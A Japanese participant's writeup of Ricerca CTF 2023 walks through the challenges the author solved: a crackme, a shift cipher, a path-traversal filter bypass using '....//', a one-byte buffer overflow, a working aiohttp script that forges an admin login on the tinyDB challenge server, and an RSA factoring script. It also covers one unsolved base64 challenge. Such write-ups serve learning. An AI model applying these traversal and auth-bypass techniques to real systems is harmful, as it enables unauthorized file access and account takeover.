Ricerca CTF 2023 writeup
最近Cryptohackを少しやってたこともあり、参加してみた
初心者用問題がいくつもあったので、取り組みやすいコンテストだった
37/187位だった(後1,2問解きたかった...)
技術的に人に参考にされるレベルでもないので、writeupというか参加記のつもりで書く
解けた問題
welcome
discordに貼られているフラグを投げると点がもらえた
crackme
与えられたバイナリをghidraに突っ込んでみたらパスワードがマッチするべき文字列が見えたのでそれを入れた
Revolving Letters
平文をキーを用いてバイトごとにシフトする暗号が実装されている
キーと暗号文が与えられているので、逆向きにシフトすれば複合できる
Cat Cafe
地味に詰まってしまったWeb問
配布ファイルがあることに気づかず、謎にサイト上にある画像でステガノみたいなことするのかと思ってた
配布ファイルを見ると、親のディレクトリにあるflag.txt
を読み込みたいが、../
が空文字列に変換されるフィルタが存在している
変換が再帰的でないので、....//
みたいにするとフィルタを回避できる
BOFSec
配布されたコードを見ると、scanf
がオーバーフローする箇所があり、オーバーフローさせた変数と同じ構造体内にあるメンバを上書きすればフラグを取れることが分かる
何も気にせず1byte分オーバーフローさせたらフラグが取れた
tinyDB
沼ってしまったweb問
Mapで管理されているデータベースがあり、排他制御とかされてなさそうだったのでタイミング攻撃的なことをずっと考えていた
auth.username = "admin"; auth.password = getAdminPW(); userDB.set(auth, "admin"); auth.password = "*".repeat(auth.password.length);
の4行目のパスワードの上書きが、データベース内のオブジェクトも上書きしてしまっているのが脆弱性の原因ぽい
同じセッションで10回適当にユーザを追加した後に、admin:******
みたいなもので/get_flag
を叩くとフラグが取れる
exploit
import asyncio import json import aiohttp async def send_post_request(session, url, data): headers = {'Content-Type': 'application/json'} async with session.post(url, headers=headers, data=json.dumps(data)) as response: response_data = await response.json() print(response_data) print(response.cookies) async def main(): cookies = {"sessionId": "hogefugapiyo"} async with aiohttp.ClientSession(cookies=cookies) as session: nums = [1, 8, 1] for _, num in enumerate(nums): urls = ["http://tinydb.2023.ricercactf.com:8888/set_user" for _ in range(num)] data = [{'username': 'hoge', 'password': f"{i}_{_}"} for i in range(num)] tasks = [] for url, data in zip(urls, data): tasks.append(asyncio.ensure_future(send_post_request(session, url, data))) await asyncio.gather(*tasks) data = {'username': 'admin', 'password': "********************************"} tasks.append(asyncio.ensure_future(send_post_request(session, "http://tinydb.2023.ricercactf.com:8888/get_flag", data))) await asyncio.gather(*tasks) asyncio.run(main())
Rotated Secrete Analysis
RSA暗号だが、 p = p1 * pow(2,512) + p2, q = p2 * pow(2,512) + p1
という関係式がある(p1
, p2
は512bit)
大人しく手元で式変形してにらむと、p1+p2
とp1^2+p2^2
の情報がほとんどn
から取得できることがわかる(n
を512bitずつにブロックとしてみると見える)
注意点としては、繰り上がりが発生しうるので、計算の整合性が合うように調節する必要がある
exploit
from Crypto.Util.number import long_to_bytes, inverse def sqrt_int(a): l = 1 r = a while r-l > 1: mid = (l+r) //2 if mid*mid <= a: l = mid else: r = mid return l n=24456513668907101359271796518022987404822072050667823923658615869713366383971188719969649435049035576669472727127263581903194099017975695864947929128367925596885753443249213201464273639499012909424736149608651744371555837721791748016889531637876303898022555235081004895411069645304985372521003721010862125442095042882100526577024974456438653686633405126923109918116756381929718438800103893677616376097141956262119327549521930637736951686117614349172207432863248304206515910202829219635801301165048124304406561437145821967710958494879876995451567574220240353599402105475654480414974342875582148522218019743166820077511 e=65537 c=18597341961729093099197297749831937867867316311655201999082918827905805371478429928112783157010654738161403312986940377995349388331953112844242407426040120302839420903486499187443737383169223520050969011318937950864196985991944523897440559547618789750180738003138383081085865616976666352985134179471231798760776607911573149993314296253654585181164097972479570867395976653829684069633563438561147707530130563531572708010593487686521808574459865586551335422619675302973576174518308347087901889923892503468385483111040271271572302540992212613766789315482719811321158322571666641755809592299352653626100918299699982602448 # x = p1*p2 # y = p1^2 + p2^2 # 繰り上がり x = n % pow(2,512) + (n // pow(2,512+1024)) * pow(2,512) - pow(2,512) y = (n % pow(2,1024+512)) // pow(2,512) - x//pow(2,512) - (x%pow(2,512))*pow(2,512) + pow(2,1024) # X = p1 + p2 X = sqrt_int(y+2*x) print(X*X) print(y+2*x) assert X*X == y+2*x # Y = p1 - p2 Y = sqrt_int(y-2*x) assert Y*Y == y-2*x p1 = (X + Y) // 2 p2 = X - p1 print(p1) print(p2) p = p1*pow(2,512) + p2 q = p2*pow(2,512) + p1 d = inverse(e, (p-1)*(q-1)) m = pow(c,d,n) print(long_to_bytes(m))
見たけど解けなかった問題達
gatekeeper
base64エンコード前の文字列とエンコード後の文字列が与えられて、デコード結果を変えないが異なるエンコード後の文字列を見つけろというもの
素直な気持ちになると、base64は1対1だし無理じゃない?となるが、途中でパイプをはさんだりしているので、変な文字を入れればなんか回避できるんじゃないかと思ったりした
ヌル文字とか改行文字とかを適当に入れるなどして実験してたが解けなかった
総括
CTFあまりやったことなくても手が動かせる問題セットで楽しかった
途中tinyDBナニモワカランになってふて寝したが、起きてtinyDB見たら簡単やんになったのでリフレッシュも大事